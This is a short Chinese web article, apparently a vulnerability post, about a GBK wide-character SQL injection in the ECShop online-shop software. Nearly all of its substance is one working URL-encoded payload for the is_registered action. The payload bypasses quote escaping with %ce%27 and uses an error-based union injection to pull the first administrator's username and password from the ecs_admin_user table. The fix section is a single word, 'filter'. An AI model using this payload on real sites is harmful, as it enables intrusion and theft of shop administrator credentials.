当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

ecshop gbk存在宽字符注入

时间:2015/5/19 18:44:06 作者:平凡之路 来源:xuhantao.com 浏览:

ecshop 对宽字符过滤还是不完整。

提下以下参数:

?act=is_registered&username=%ce%27%20and%201=1%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FROM%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23涛涛电脑知识

 

涛涛电脑知识网


 

修复方案:

过滤

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1